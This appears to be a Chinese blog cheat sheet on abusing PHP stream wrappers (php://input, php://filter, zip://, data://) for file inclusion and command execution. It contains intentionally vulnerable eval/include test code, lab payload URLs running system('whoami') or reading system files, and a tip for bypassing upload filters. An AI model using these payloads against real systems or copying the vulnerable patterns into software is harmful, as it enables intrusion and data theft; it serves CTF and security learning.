編碼的世界 / 優質文選 / 文明

PHP偽協議總結


2021年10月18日
-   

0x00 php://input//所有測試均allow_url_fopen=On,allow_url_include=On!!!
php://input 是個可以訪問請求的原始數據的只讀流。 POST 請求的情況下,最好使用 php://input 來代替 $HTTP_RAW_POST_DATA,因為它不依賴於特定的 php.ini 指令。 而且,這樣的情況下 $HTTP_RAW_POST_DATA 默認沒有填充, 比激活 always_populate_raw_post_data 潛在需要更少的內存。 enctype=”multipart/form-data” 的時候 php://input 是無效的。
——php.net
簡單說就是獲取post數據。
測試代碼:
<?php
$d = file_get_contents('php://input');
//echo $d;
@eval($d)
?>


文件包含變命令執行:
測試代碼:
<?php @include($_GET[“file”]); ?>


 
寫一句話:

0x01 php://filterphp://filter 是一種元封裝器, 設計用於數據流打開時的篩選過濾應用。 這對於一體式(all-in-one)的文件函數非常有用,類似 readfile()、 file() 和 file_get_contents(), 在數據流內容讀取之前沒有機會應用其他過濾器。
——php.net
簡單說經常利用它進行base64編碼,如
php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini”

可以運用多種過濾器(字符串/轉換/壓縮/加密)
常用於讀取文件/源碼:

0x02 zip://,bzip2://,zlib://zlib: 的功能類似 gzopen(),但是 其數據流還能被 fread() 和其他文件系統函數使用。 自 PHP 4.3.0 後這個不建議被使用,因為會和其他帶“:”字符的文件名混淆; 請使用 compress.zlib:// 作為替代。
compress.zlib://、 compress.bzip2:// 和 gzopen()、bzopen() 是相等的。並且可以在不支持 fopencookie 的系統中使用。
ZIP 擴展 注冊了 zip: 封裝器。 自 PHP 7.2.0 和 libzip 1.2.0+ 起,加密歸檔開始支持密碼,允許數據流中使用密碼。 字節流上下文(stream contexts)中使用 ‘password’ 選項設置密碼。
可選項
  • zlib://file.gz
  • bzip2://file.bz2
  • zip://archive.zip#dir/file.txt

——php.net
簡單說就是直接訪問壓縮包裏的文件。
1. zip://將phpinfo.txt壓縮成zip,實戰中可以改後綴為jpg繞過上傳限制。
http://192.168.43.173:8999/lsawebtest/phptest/phprotocol1.php?file=zip://C:/phpStudy/PHPTutorial/WWW/lsawebtest/phptestphpinfo.jpg%23phpinfo.txt
注意要用絕對路徑+url編碼#

2. zlib://http://192.168.43.173:8999/lsawebtest/phptest/phprotocol1.php?file=compress.zlib://C:/phpStudy/PHPTutorial/WWW/lsawebtest/phptest/phpinfo.txt.gz

改後綴為jpg亦可,相對路徑亦可。
 
3. bzip2://同理於zlib://
 0x03 data://data://text/plain;base64,
http://192.168.43.173:8999/lsawebtest/phptest/phprotocol1.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

不加//亦可。
也可以用來讀php文件源碼: data:text/plain,<?php system(‘cat /var/www/phprotocol1.php’)?>
或者命令執行: data:text/plain,<?php system(‘whoami’)?>
 
0x04 結語ctf中常利用php偽協議,實戰中或許會有奇效。

0x05 參考資料https://www.waitalone.cn/php-file-include.html
www.freebuf.com/column/148886.html
http://php.net/manual/zh/wrappers.php

熱門文章